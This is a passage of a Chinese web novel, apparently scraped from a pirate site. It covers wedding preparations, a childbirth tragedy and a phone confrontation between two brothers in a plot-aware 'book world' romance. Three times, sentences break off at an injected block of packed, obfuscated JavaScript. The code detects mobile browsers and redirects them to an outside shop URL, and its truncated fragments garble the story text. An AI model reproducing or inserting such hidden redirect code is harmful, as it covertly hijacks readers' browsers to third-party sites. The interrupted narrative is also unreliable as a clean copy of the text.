第二天打听到了姚长安的号码,特地打了个电话过来,嘘寒问暖的,表达了一下对姚家三人的感谢。 姚长安问过温怀瑾了,她还没见过这个婆婆,也没有办婚礼,暂时不用改口。 于是她说道:“阿姨客气了,都说大难不死必有后福,这不,二弟都快当爸爸了,真是好福气。” 毕竟一口气要当两次呢,可不是好福气? 许冬琴不知道姚长安是阴阳温枕瑜的,还以为她不知道卢小晓的事情,笑道:“你这孩子,真会说话。那就谢你吉言了。” “客气了阿姨,有空回来玩。”姚长安客套了两句,挂了电话。 这个婆婆还是别回来好了,他们小两口挺好的,容不下多余的人。 * 姚良远想给女儿撑撑场面,婚礼日期定下来后,便给他兵团的老子去了个电话:“我就这一个女儿,你来一下,穿上你的军装,戴上你的勋章。” 老姚那边因为亲儿子找过来,地震一场,余波还没有散去。 现在亲儿子要他去出席孙女的婚礼,他也不好拒绝,挂了电话便让小儿子去买了飞机票。 他的二婚老婆知道后找他又哭又闹的,死活不让他去,逼着他退票。 他一向脾气不好,是个硬骨头,女人越闹,他越是要对着干,干脆给女人首都的侄子打了个电话,让他们劝劝。 不巧,女人的侄子就是陆祯愉的爸爸,陆向东,了解完情况后,问了下姑父孙女儿的名字。 老太太哭哭啼啼的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998111|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真忘了问了,赶紧挂了电话,趁着老姚出去买路上的吃食,翻了翻老姚的备忘录,随后打了过去:“向东啊,他那个孙女叫姚长安,孙女婿叫温怀瑾。我怎么听着这个名字有点耳熟呢?” 那可不嘛?陆向东那个便宜女婿的大哥,就叫这个名字啊。 陆向东有点难以置信:“你没看错吧小姑,真叫温怀瑾啊?” “是啊,你去年是不是跟我提过这个人?” “是啊,我女婿的大哥也叫这个名字。” “不是巧合吧?” “他们是哪里人?” “没写,姚长安应该是栖梧县的,温怀瑾不知道。” “没通知姑父婚礼地点吗?” “写了,金陵饭店。” “那……”那不就是了吗,他亲家就住那附近呢。 他赶紧挂了电话,打给了温定方。 温定方听到他的声音,意外得很,态度淡淡的,问道:“呦,稀客啊,陆处长找我有事吗?” 陆向东没空跟他阴阳怪气,直接问道:“女婿跟我说,他哥哥要结婚了?” 温定方一听就知道对面在放屁,老二根本不关心他哥,但他还是敷衍地笑笑:“是啊,婚礼还在筹备。” “女方是哪里人?”陆向东本来是不打算出席的,而且温定方又没有邀请他,可如果女方真是他姑父的孙女,他就不得不来一趟了。 温定方哪里知道陆向东还有个不做人的姑姑,抢了他亲家公的爸爸,闻言如实相告:“栖梧县,我老家的,怎么?陆处长大忙人,也有空关心我大儿媳的事?” 陆向东知道温定方心里有气,毕竟两个孩子奉子成婚,陆家两口子咽不下这口气,当初在婚礼上说了些过分的话。 现在既然有了这样的渊源,那他就不得不搞好关系了,再说了,他女儿都快生了,于是他心平气和地问道:“酒店定了?也不请我喝一杯?” “嘿呦,你陆处长可是大忙人,我哪好意思下帖啊。” “这说的什么话?咱俩都是儿女亲家了。” “我跟许冬琴打过电话了,她没跟你们说吗?” “没有啊。” “哦,那估计是祯愉快生了,走不开吧,她不想让你们为难。” “这话说的,祯愉快生了,也不耽误我去喝杯喜酒啊。” “那我多谢你赏光了。” “什么时间,地点。” “下个月九号,金陵饭店。你确定能来?” “一定到场!” 温定方总觉得自己在做白日梦,他这亲家公根本没给过他好脸色,今天真是活见鬼了。 挂了电话,他还是百思不得其解,不过公司要开会,想想还是不管了,来就来吧,北都的处长还挺金贵的。 真来了,他脸上也有光。 同一时间,刘克仁也通知了他远在西北的小舅子孙文斌。 毕竟他很疼爱长安这孩子,他也想叫几个有身份的亲属过来,给孩子撑撑场面。 孙文斌已经做到了总工,其实很忙,不过他抽个空飞过去喝杯喜酒的时间还是有的。 正好他手下的小设计员过来送图纸,他便喊道:“长英啊,帮我定张机票,下个月八号,飞金陵。” 姚长英赶紧记下:“好的孙工,是出差吗?” 出差的话要走公账报销。 孙文斌笑着拍拍他的肩膀:“私事。回头带喜糖给你吃。” “哎,谢谢孙工。”姚长英笑着应下,下午赶紧抽空帮忙把事情办了。 37. 临盆 七月盛夏,新房里的空调刚刚安装好,姚长安便打开试了试,真好,一点五匹的,二十几平的卧室也能很快凉下来。 温怀瑾送走安装师傅,进门一看赶紧拽着她起来:“你不是来例假了吗,怎么对着出风口,到这边来。” 姚长安哭笑不得,她这刑警丈夫管得真宽,来例假了不准受凉,例假前后也不准吃冰棍儿,她要是买了就被他抢走,严厉得很呢。 哪怕他上班忙了一天,下班回来也要检查一下垃圾桶,看看有没有冰棍的包装纸,那叫一个心细如发。 姚长安不挣扎了,想在刑警老公眼皮子底下偷吃冰棍儿?下辈子吧。 她乖乖地坐到旁边,抱着他的胳膊:“真的有必要做公证吗?总感觉怪怪的,好像在为离婚分财产做准备似的。” “傻瓜,做公证是保障你的利益,如果哪天我不小心——”温怀瑾明白她的意思,他当然不会想着离婚的时候怎么样怎么样,他还想跟她白头到老呢。 可他毕竟是个刑警,万一呢?万一牺牲了呢,到时候他爸妈都有继承权,她会吃亏的。 姚长安不想听这不吉利的话,赶紧伸手捂住他的嘴:“不许胡说!再说我生气了!” “好,我不说。那你听我的,去做公证。”温怀瑾一把将她摁在怀里,“不麻烦,流程咱爸都清楚,你只要过去签个字就行了。” “好吧。”姚长安从善如流,想起自己手里还有三百万,忽然好奇,“那我自己的存款呢,也要做吗?” “你自己的估计做不了了,咱俩已经领证了。”温怀瑾以为她手里只有一点工资,笑道,“其实钱不多的话无所谓的。” 姚长安不说话了,一开始她没想那么多,毕竟谈恋爱的时候,温怀瑾就把稿费交给她保管了,那么诚恳,她何必搞什么婚前财产公证?那也太伤感情了。 现在看到他连他爸爸赠予的一百万都要做公证,她有点明白他的苦心了。 要是让他知道她手里还有三百万,直接成了共同财产,他指定着急。 于是她岔开了话题:“也对,走吧,出去吃饭。” “你等等!”温怀瑾一把拽住她,见她不敢跟自己对视,立马猜到了什么,问道,“你跟我说实话,你手里不会还有拆迁款吧?” 姚长安不想骗他,但也不想承认,干脆捂着肚子:“哎呦,痛。” 这么拙劣的把戏,一个有经验的刑警怎么会看不出来呢? 温怀瑾没有拆穿她,转身去杂物间找了个热水袋,这是两人恋爱期间买的,专门给她暖肚子的。 灌好热水袋进来,他把话题又拧了回去:“你跟我说实话,你手里到底有多少钱。我不要你的,但我不想让老二他们占了便宜,一旦我真的出事了,我爸妈有继承权,爸妈继承了就会分给老二和小妹,你这不是犯傻吗?” 姚长安抱着热水袋,别开视线,不想回答,他却跟着她的视线旋转,蹲在侧面,握住她的手,诚恳道:“你跟我说实话,我来想办法,把这笔钱跟我切割开来。” “我不要跟你切割,你是我丈夫,我们是一家人。”姚长安不高兴,他又说不吉利的话了,别过头去,不想继续这个话题。 温怀瑾哭笑不得:“傻老婆,我这是为你好。你不说我也知道了,你等着,我给咱爸打个电话。” 电话接通,对面传来姚良远的声音,姚长安才知道此爸非彼爸。 她真没想到,他的角色转变这么快,她还在你爸我爸的喊呢,他早就咱爸咱爸的不加区分了。 这么一看,是她没赶上他的脚步,她要深刻反省。 她坐在那里,电话开了免提,她这个刑警老公做事一向敞亮,大大方方地问道:“爸,长安手里是不是有一笔拆迁款?” “是啊怀瑾,怎么了?你们想做投资吗?”姚良远两口子也没把女婿当外人,所以那天跟温定方吃饭,温定方让他们两口子提要求,他们没提婚前财产公证的事。 这会儿女婿问他,他也默认那笔钱是小两口的了。 这样的态度,是不需要明说的,温怀瑾从他的措辞里就可以听得出来,温怀瑾很是感动,开诚布公道:“不是的爸,我想让长安抽空跟你们补个借条,就说这笔钱是你们借她的,不是直接给她的。” “这是做什么?一家人搞什么借不借的。”姚良远不同意,这多见外啊。 温怀瑾笑道:“爸,我是个刑警,子弹不长眼。” 姚良远听着一愣,下意识责备道:“呸呸呸,以后不准说这种话了。” 温怀瑾只好换个措辞:“爸,你和咱妈都不想让长安吃亏吧?” 姚良远不假思索:“那是当然。” 温怀瑾很懂得引导,笑道:“那就补个借条,让长安自己保管,以后要是有点什么变故,那笔钱是她自己的,跟我没关系。我爸妈我弟我妹,谁都沾不了身。” 姚良远这下懂了,这女婿是真好啊,生怕长安被人占了便宜。 他很感动,忽然鼻子一热:“哎,好,我跟你们妈妈说一声,尽快找长安补一个借条。” “那就好,那我挂了爸,长安不舒服,我去陪陪她。代我跟妈妈问好。”温怀瑾很有礼貌,不忘问候一下丈母娘。 挂断电话,温怀瑾脖子上多了个“挂件”,他的傻老婆,一头扎过来,抱着他的脖子开啃。 他忍不住笑了:“看来我真的秀色可餐。” 那可不嘛?可惜姚长安来例假了,只能亲亲他。 她赖在他怀里,不肯起来,嘀咕道:“温怀瑾同志,我吃饱了,我今天是树懒,我要挂在树上睡觉。” “好,姚长安同志,我今天是大树,我要搂着树懒睡觉。”温怀瑾眼中满是笑意,看,这么好的老婆,他当然要为她设想好一切,她手里到底多少钱他不关心,只要不让别人占她便宜就好。 几天后,公证做好了,借条也补了,姚长安的例假也走了。 回来好好餐一餐她面前的秀色!这可是一顿大餐,没有一个多小吃餐不完的。 事后她累倒在大树怀里,忍不住问道:“你吃什么了,这么厉害?” “吃老婆饼了。”大树咬着她的耳垂,软软的,真好玩。 困意袭来,大树还是爬起来,抱着树懒去冲了个澡,免得生病。 第二天一早两口子起床上班,推开玄关的门,便看到走廊里有对婆媳在吵架。 那婆婆急赤白脸的,说不过儿媳妇,只得一个劲地说自己养了个白眼狼儿子。 儿媳妇呢,本地口音,吵架都斯斯文文的,慢条斯理的,说自己男人好着呢,压根不是白眼狼。 正吵着,看到新邻居出来了,男人穿着警服,女人穿着连衣裙,挽着男人的胳膊,很是亲昵,一看就是两口子。 那儿媳妇客气地说了声你好,婆婆则仿佛看到了救星,拽着温怀瑾的胳膊,要他评评理。 温怀瑾不是民警,哪有功夫管这个,正为难,姚长安赶紧走过来挽住了老太太的胳膊:“阿姨,我爱人有事,要去局里报道,什么事你跟我说。” 儿媳妇赶紧帮腔:“就是啊妈,人家要上班呢,你赶紧让人走吧。” 老太太也知道不能胡搅蛮缠,赶紧松开了温怀瑾:“小伙子一表人才,是公安局的呀?” 温怀瑾笑笑,感激地看了眼自己老婆:“阿姨再见。” 走进电梯前还不放心,又回头看了眼,却见姚长安已经扯着老太太的胳膊背过身去,有说有笑的,他放心了,赶紧上班去。 这边姚长安看到电梯下去了,可算是松了口气,不过这事儿既然她揽了,自然要处理好,反正她的上班时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001108|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间比温怀瑾晚,不着急。 很快她弄明白了怎么回事,原来这婆婆是乡下来的,非要闹着带着上大专的女儿过来一起住,房子是儿媳妇王婷出的大头,儿媳妇当然不乐意啊,但是婆婆要来,儿媳妇把人赶走也不好,便想着各退一步,让婆婆自己住着,小姑子去学校住宿舍。 婆婆不乐意,就找儿子闹,儿子虽然向着儿媳妇,但又不想得罪自己妈,于是他只说了一声听他老婆的,便借口要上班,跑了。 真是个没有担当的怂包。 不过这话姚长安可不敢说,她笑着安慰道:“阿姨,王婷姐姐是为了你女儿好啊,你想啊,王婷姐姐正准备要孩子呢,少不得跟姐夫做点夫妻间的事对不对?你女儿还是个小姑娘呢,是个学生,挨近了住,多不方便啊。万一她也想谈恋爱了怎么办?她还上学呢,还是要专心一点为好,你说呢?” 老太太想想也是,她还等着抱孙子呢,只好退让一步:“那我让菲菲每个礼拜过来吃顿饭总可以吧?” 姚长安不好做主,看向了王婷,王婷感激地点点头,姚长安这才说道:“那当然可以了,一家人嘛。我王婷姐姐一看就是大度的人,很讲道理的,她是为了妹妹好。你就放宽心,等着抱孙子吧。” 阿姨听劝:“也是哦,我听人说,压力大了不容易怀孩子,有个妹子在跟前,他们两口子也放不开手脚。” 姚长安笑道:“可不是吗?到时候真有了孙子,他们两口子上班没时间,这个家还不是得靠你帮衬着?到时候可有得你辛苦的呢。你呢,趁着现在还没有孙子,好好享受享受,顺便把附近都转转,认认路,以后有孙子了才知道带他去哪儿玩嘛。” “对对对,有道理,孙子要紧。”老太太感激地问道,“孩子,你看起来也念过不少书吧?” “嗯,我大学毕业一年多了。”姚长安笑笑,看看手表,“阿姨,我也要上班去了,回头再聊,啊。王婷姐,我走啦。” 王婷感激地挥挥手:“还不知道你叫什么呢。” “姚长安。”姚长安挥挥手,赶紧进了电梯。 * 首都,温枕瑜在产房门口等着。 他还不知道他哥结婚了,毕竟陆向东知道这个女婿不喜欢他大哥,女儿临盆在即,做父亲的就没有说出来煞风景。 这会儿陆向东跟许冬琴都在场,一个捧着报纸,从容淡定,一个在产房门口急得团团转,念叨着怎么进去这么久了还不出来。 温枕瑜被自己妈转得头晕,嘀咕道:“妈你累不累啊,过来坐着吧。” 许冬琴不累,她等着抱孙子呢,她不放心,问道:“你没搞错吧,真是个儿子?” “这还能有假,打了B超的。”温枕瑜其实心里没数,这段时间,剧情不知道怎么回事,跟个脱缰的野马,拉都拉不住。 姚长安这条线是最先失控的,这就像多米诺骨牌,让他后续的投资计划都成了泡影,不得已,他只能提前勾搭陆祯愉,反正早晚是他老婆。 陆祯愉的叔叔是个天残,不能生养,一门心思赚钱,都给大哥家的孩子,以后才有人给他养老,所以陆祯愉的个人资产相当可观。 为了跟陆祯愉结婚,他还…… 考虑到这年头B超总有出错的时候,他也不敢高兴得太早,可别到了这里又出岔子。 原本是陆祯愉生儿子,卢小晓生女儿的,一旦颠倒,那全完了。 毕竟他还指望用长孙找他爸爸骗点钱呢。 所以他这么笃定地说是儿子,宽的不是他妈妈的心,是他自己的心。 没想到他老丈人在旁边冷笑:“儿子有什么用,还不是到人家做上门女婿。我看女儿就挺好。” 温枕瑜翻了个白眼,你可闭嘴吧,可别真的乌鸦嘴了。 正犯嘀咕呢,产房门打开了。 38. 完了(二更) 温枕瑜设想过两种可能,无非就是儿子或者女儿。 儿子的话最好,他可以找他老子要个超大的红包,哪怕这孩子不跟他姓,起码也是老温家孙子辈的第一人。 女儿的话他虽然开不了这个口,但也能让他跟陆家彻底绑定,反正他自己开公司,不怕超生,不怕罚款。 就算陆祯愉不想生了,他还有卢小晓,还有后面的那些小老婆,儿子总会有的,不着急。 所以即便真的生个女儿,他也做好了心理准备,一定要面带微笑,不要流露出任何的不满,不要让老丈人挑刺。 他想得挺周全,没想到老天不让他周全,产房门推开,医生通知家属赶紧签字,产妇突发羊水栓塞,孩子怕是保不住了,一旦情况危急,可能要切除产妇的子宫,请家属尽快决定要不要强行保留子宫。 温枕瑜整个人都傻了,原本他都站起来准备迎接新生命了,结果…… 他颓然地跌坐在候诊椅上,他不明白,怎么会这样?不过是提前几年跟陆祯愉结婚,就会出现这么大的偏差吗? 这到底是为什么? 正慌神,他被人猛地推了一下,对上陆向东那双急得发红的狰狞双眼,他这才回过神来,喊道:“保大人,子宫可以不要,人活着就行!” 等他签了字,医生便匆忙进去了,很快便有人出来准备血袋,医护人员一波又一波的进来又出去,出去又进来,好像一场漫长的默剧,永远看不到结果。 他茫然地把手插进头发里,不断自我怀疑,到底哪儿出错了? 他跟陆祯愉明明会有三个儿子啊,三个,全是儿子。头胎怎么会遇上羊水栓塞呢?也许是虚惊一场,孩子跟大人都没事! 对的!一定会这样!他的儿子会挺过去的,一定会的,那可是他的儿子! 他不断的自我安慰,自我暗示,自我鼓励,等待着奇迹的出现。 可是漫长的抢救结束,他的头一个孩子还是没了,老婆倒是没事,子宫也保住了,只是她整个从鬼门关走了一遭,已经极端的虚弱疲惫、面如死灰,她甚至不想理他了。 他扑上去闹了个没趣,只好讪讪地跟到了病房,无所适从。 刚开完会的丈母娘陈小倩也赶到了产区病房,得知女儿遭了这么一场劫难,哭得昏天黑地,气头上忍不住扑上来,揪着温枕瑜的衣领子,要扇他耳光,都怪他,都怪他! 许冬琴急了,赶紧过来劝架,推搡间两个女人手上也没个分寸,一个不慎,直接把夹在中间的温枕瑜给搡倒在地,脑袋正好磕在了床头柜的一角,顿时红了一片。 吓得许冬琴尖叫一声,扑上来扶着温枕瑜,骂道:“这下你高兴了!羊水栓塞是意外,不是我们造成的,我们也很着急,也很心疼祯愉啊!你不分青红皂白,发的哪门子邪火啊!” 说着赶紧扶着她的宝贝二儿子,去外科急诊,紧急处理。 等这对母子走了,陈小倩才哭着扑倒在自己男人怀里:“怎么会这样,怎么会这样。” 陆向东默默叹了口气:“造孽啊,造孽。都是我造的孽。” 陈小倩已经知道了他姑父那边的事情,赶紧扯了扯他的膀子,让他小点声。 不过无所谓了,陆祯愉无法面对这样的打击,睡着了,她什么也听不见。 两口子噙着泪花,给女儿把被子掖好,关上病房门,去外面说。 陈小倩掏出手帕擦眼泪,劝道:“你别胡说,你当初从小地方走出来,是借了你姑父的力,可那又不是你的错,你也不知道你姑妈背地里搞了这么一出,抢了别人的男人。” “也是我心存侥幸。”陆向东默默叹气,“当初就觉得奇怪,她不是去探亲的吗?怎么就那么巧,碰到了一个临产的孕妇,怎么就那么巧,孕妇死了,孩子活着,怎么又那么巧,她把孩子送过去,就跟孩子的爸爸好上了。现在想想,一切不合理都是有猫腻的,我就不该要姑父的那封推荐信。” 陈小倩心里有数,如果靠他自己,也许晚个三五年的,也能混到现在的位置,那样的话,女儿就碰不到温枕瑜,不会这么早结婚生子了。 但是这种事,事后诸葛亮是没用的。 她握住男人的肩头,默默宽慰:“别把责任往你自己身上揽,是你姑妈自己不做人。她到现在都不肯告诉你那个孕妇葬在哪里,说明她心里有鬼。以后咱们离她远点儿。” 陆向东默默叹气,握住她的手:“我明白。闺女这边你费点心,你是妈妈,有什么话比我好说一点。” “我知道,她还年轻,我会劝劝她的。”陈小倩好不容易止住了眼泪,问道,“姑父孙女的婚礼,你还去吗?” “去啊,我都说好了。”陆向东这人一向言而有信,答应的事一定会办到的,不过现在再提这事,他的心境自然产生了很大的变化。 之前他挺开心的,毕竟他要当姥爷了,新生命总是让人精神焕发,而现在…… 哎!老两口互相安慰了一会儿,陈小倩便回去了,祯愉奶奶还给孩子煲了鸡汤,她得回去拿过来。 楼下急诊室,温枕瑜的外伤处理好了,剃了个秃瓢,缝了五针。 虽然只是皮外伤,但也真够倒霉的,他顶着个大秃瓢,秃瓢还趴着一条蜈蚣一样的缝合线,难看到了极点,一时气恼,不肯去产科病房,自己先回去了。 许冬琴急死了,怎么也劝不住他,只好去病房跟亲家公赔个不是:“医生说有轻微脑震荡,他连站都站不稳了,我让他回去歇歇再来,正好给祯愉拿几套换洗衣服。” 陆向东不信这样的鬼话,不过他不想在医院吵闹,他要脸,便没有追究什么。 没有人知道,温枕瑜回去戴了顶帽子之后,就买了机票,连夜飞去了海城,再从海城直接打车,回了栖梧县。 陆祯愉这边出了意外,卢小晓可不能再出意外了。 天快亮的时候,他在老家门口下车,他发现门锁了,赶紧拿出大哥大,给卢小晓打电话,没人接,怎么回事? 无奈,他只好叫住准备调头的出租车司机,去医院看看。 栖梧县不大,最好的就是人民医院,都不用考虑别的。到了妇产科一打听,卢小晓果然在待产。 他赶到产区病房一看,瞬间松了口气,他奶正贴身照顾着呢,看到他来,忍不住埋怨道:“给你打电话也不接,也不知道去哪儿了。” “奶,我在飞机上,没信号嘛。”温枕瑜赶紧把公文包放在旁边,趴在床头吻了吻卢小晓的额头,“怎么样?还好吧?” “你还知道来啊。怎么样,是不是大老婆生完了才想起我来啊?”卢小晓认命了,这男人她自己选的,没辙。 她爸妈各自出轨在外面有了孩子,那个家没有她的位置,她只等着他们明年出车祸死掉。 这是温枕瑜告诉她的,到时候他们养在外面的孩子都没合法的身份,赔偿金全是她的。 两年后她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002600|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈住的大杂院还会拆迁,能拿不少钱呢,户口本只剩她自己,赔偿金会少一些,所以这个孩子她必须生。 而且温枕瑜说了,他不想做赘婿,等他混出人样子来,就跟陆祯愉离婚,跟她结婚。 她这才忍着酸涩,从正牌女友变成了小三。 没想到她这么倒霉,居然跟他老婆的预产期撞了,现在她心里又酸又涩的,话一说完眼泪就飚了出来。 温枕瑜心疼坏了,赶紧拿起公文包里的手帕给她擦擦:“傻瓜,我什么时候没有想着你?不过是想给你和孩子更好的生活。” 卢小晓深信不疑,抱着他的脖子,失声痛哭,在剧烈起伏的情绪刺激下,她很快便哎呦一声,推开了他,捂着肚子,面露痛苦。 疼了六个多小时,才开了两指,她快撑不住了,嚷嚷着要剖了算了,温枕瑜不喜欢女人肚子上有疤,还是劝她再坚持坚持。 八个小时的时候,终于开到了四指,这时候卢小晓已经成了个落汤鸡了,浑身全是汗,累得她连叫喊都没有力气了。 到了第九个半小时,总算是开到了十指,她也差点疼得昏死过去,温枕瑜一个劲地帮她打气,可算是挺了过来。 推进产房,又经过一个多小时的磨难,终于生了。 孩子嘹亮的啼哭声穿透产房大门,传到了温枕瑜耳中,他兴奋地念叨着,一定是个儿子,一定是的,一定是的! 大门打开,护士抱着一个白白净净的小婴儿给他:“恭喜你啊,是个千金。” 完了,天塌了,大老婆那边突发变故,儿子飞了,小老婆这里却照着原本的轨迹,生的是个赔钱货。 真晦气,亏他大晚上飞过来,饭都没吃一口,水都没喝一口,早知道不来了。 这比考试连蒙十道选择题全错还要难受一万倍。 温枕瑜在陆家还能控制得住的表情,在这小地方根本控制不住。 他给护士生动地表演了一出变脸,失望地把孩子递给了他奶奶:“奶,我公司还有个重要的会,我先回去了。” 老太太想留他,奈何他跑得比一阵风还快,无奈,只好等她回去再给儿子打电话了。 * 姚长安刚在浴室里被欺负了一回,回到卧室很不甘心,闹着要惩罚温怀瑾。 温怀瑾举手投降:“你弄,随便弄,弄出事来你负责。” 姚长安冷哼一声,趴在他肩头咬了他一口。 温怀瑾笑得灿烂:“你行不行啊,跟个小猫一样。” 说着便把她摁在怀里,亲吻她的耳垂,那一块软软的肉特别好玩,像一朵棉花糖,滑滑的,弹弹的。 两人正腻歪,电话响了。 只得中断小夫妻的游戏,伸长了胳膊,也没看清是谁的大哥大,直接被他拿了起来,递给了姚长安。 姚长安知道他有反应了,不舒服,她接也是一样的,于是她对着话筒喂了一声。 那头明显一愣,立马挂了。随即又打了过来,还是姚长安接的。 这下对面信了,不可思议地问道:“我哥的大哥大怎么在你手里?” 姚长安这才意识到对面是谁,她没理他,直接把大哥大交给了温怀瑾,自己下床找水喝去。 温怀瑾从她的脸色看出来不对,接过电话也不出声。 那头质问道:“说话呀!我哥的大哥大怎么在你那里!” 温怀瑾淡淡地开口:“你好,我是你哥。” 39. 气晕 温怀瑾并没有刻意隐瞒自己的恋情和婚事,最起码他妈妈那边早就通知到了。 至于温枕瑜怎么被蒙在鼓里,不用问也知道,这个弟弟的眼里没有他,他们的妈又忙着照顾孕妇,自然多一事不如少一事。 只要温枕瑜和陆家的人不知情,到时候不来参加婚礼,就是许冬琴的责任,而许冬琴又可以把责任推回温怀瑾身上——结婚这么大的事都不跟亲妈商量,不通知你弟弟怎么了? 这大概就是他妈妈的真实想法,只是没想到,温枕瑜会突然打电话过来。 这个时间点,估计弟妹生了?特地过来报喜,炫耀的? 温怀瑾其实并不关心,但他知道,温枕瑜无事不登三宝殿。 当那头传来温枕瑜气急败坏的声音,温怀瑾的心中莫名有点暗爽,对付这种着急上火的二百五,最好的办法就是从容、平静、冷漠。 他的计策奏效了,一声我是你哥,彻底敲晕了温枕瑜,在那头紧紧地握着话筒,好半天没能说出一个字来。 温怀瑾依旧淡淡的:“没事挂了,话费挺贵的,帮你省省,养孩子。” 没想到温枕瑜瞬间炸毛:“养什么孩子?养什么孩子?你笑话我是不是?” “神经病吧你。”温怀瑾直接挂了电话,那头不甘心,又打了过来,像个永远长不大的幼稚鬼。 温怀瑾直接开了免提,把大哥大丢在床头柜上,起床找自己老婆去了。 那头传来深呼吸的声音,明显是在调整情绪,过了好一会儿,才问道:“刚才接电话的是姚长安?” 主卧很大,二十几平,温怀瑾又在客厅,隔得远,麦克风捕捉声音的能力大幅度衰减,所以他干脆没回,等他亲了姚长安一口,搂着她的腰肢端着一盆葡萄回到了卧室,那头已经等着急了,炸毛了。 一遍又一遍地催促道:“你说话啊,你跟她到底什么关系?你的大哥大怎么在她手里?喂,说话啊!哦,我知道了,你找她买书是不是?店里人多,你不想跟我吵。那你早说啊,吓我一跳。” 听着他的自说自话,小两口忍不住笑了,笑得那叫一个开心。 有种耍猴的感觉,好爽。忍不住抱在一起狠狠亲了一口对方,转身又都拿了一颗葡萄在手里,剥了皮,往对方嘴里送。 姚长安笑得花枝乱颤,怎么回事,有种背着纪律委员和教导主任偷偷谈恋爱的感觉,好开心,好好玩。 那头得不到回应,真的急了,喊道:“说话呀,买个书这么久吗?邢亚辉不是说她看一眼定价就能算出打折的价格吗?怎么,今天书店人多?” 温怀瑾故意晾着他,又剥了一颗葡萄塞姚长安嘴里,瞧着火候差不多了,这才说道:“买书?我有几个月没买新书了,你大嫂那边有很多,看不完。” 什么什么什么?温枕瑜怀疑自己的耳朵是假冒伪劣产品,他愣了一下,问道:“什么大嫂?哦,你说表哥家的那位?表哥和表嫂不是不爱看书吗?” 温怀瑾笑死了,这个蠢东西,宁可到处找补,也不愿意面对自己大哥跟姚长安是一对的可能性,这说明了什么? 说明他不愿意看到这件事发生,而且一旦发生了,他会炸毛,会气晕。 虽然不知道原因,但如果真是这样,那可太好了。 从小到大,温怀瑾为了这个弟弟擦了那么多次屁股,受了别的家长那么多的气,今天终于可以好好爽一把了。 于是他拿起大哥大,一本正经道:“别胡说,我跟表嫂不熟,我说的是我老婆。怎么,你不认我这个大哥了?我的老婆你不喊一声大嫂?” “别开玩笑了,谁要你啊。”温枕瑜根本不信,他这个大哥注定是他的工具人,没有任何感情线,事业线也没什么好说的,按部就班地查案子,该升小队长的时候升一升,该升中队长的时候也没耽误,到了最后,快成大队长了,牺牲了。 成为了他幸福美满人生的最佳对照,最佳点缀——毕竟牺牲的时候,这个工具人把全书最大的反派带走了,同归于尽。 所以温枕瑜不信也不愿意看到他大哥有女人,这会坏菜的,说明剧情完全失控了。 他几乎毫无人性地嘲笑道:“你别逗我了,你就是去大街上裸.奔都不会有女人看你一眼的。” 姚长安听不下去了,凑近些想要打击他一下,温怀瑾摇头了摇头,这是他们兄弟的恩怨,他不想把自己老婆扯进来。 面对这种嚣张的蠢货,温怀瑾的策略一如既往,他从容、平静,且带着几分冷漠,问道:“怎么,咱妈没有通知你下个月回来喝喜酒吗?” 温枕瑜还是笑:“你可真逗,你有什么喜酒好喝的?想女人想疯了?” “那你别回来,正好我也不想看见你,谢谢啊。”温怀瑾挂了电话。 那头愣了半天,还是不信,但又隐约觉得好像哪里不对,赶紧给他老子打了个电话。 五分钟后,温怀瑾面前的大哥大又响了。 他平静地拿了起来:“哪位?” 那头传来咬牙切齿的质问:“你什么时候跟姚长安搞到一起的?” “怎么,需要跟你打申请吗?你是我老子?”温怀瑾依旧淡淡的。 温枕瑜气炸了,他完全无法接受,那可是自带六百万嫁妆的女人!即便她的爸妈现在没有把拆迁款给她,可是她家就她一个孩子,将来不还是她的? 想到这里,温枕瑜几乎要崩溃了,怎么可以这样?姚长安明明是他的血包!崩了,全崩了,这个破书,害他不浅! 他气得浑身战栗,问道:“怪不得上次你为了她跟我翻脸,你早就看上她了?” “我没有义务跟你汇报。”温怀瑾心平气和地喊了声姚长安,“老婆,葡萄吃完了,还有吗?” “有,我去洗。”姚长安知道他有话要说,她留着不方便,便起身拿着果盘出去了。 温怀瑾并没有什么不方便的,只是不想气到自己老婆,等姚长安出去了,他才开口:“温枕瑜,我警告你,我不管你因为什么原因对我老婆那么大敌意,如今她是我老婆,是你大嫂,更是你的救命恩人,你给我放尊重点!不然别怪我把你养小三的事情捅到陆家去!到时候你的赘婿美梦做不成了,可不要怨我。先礼后兵,我对你仁至义尽!” 温枕瑜愣住了,下意识否认:“小三,什么小三?你不要血口喷人。” 温怀瑾懒得跟他废话,直接拿出杀手锏:“别装了,卢小晓生了吧,男孩女孩?” 温枕瑜不说话了。 温怀瑾恍然:“懂了,女孩。那弟妹呢?你是来给我报喜的吧?男孩?” 对面还是不说话。 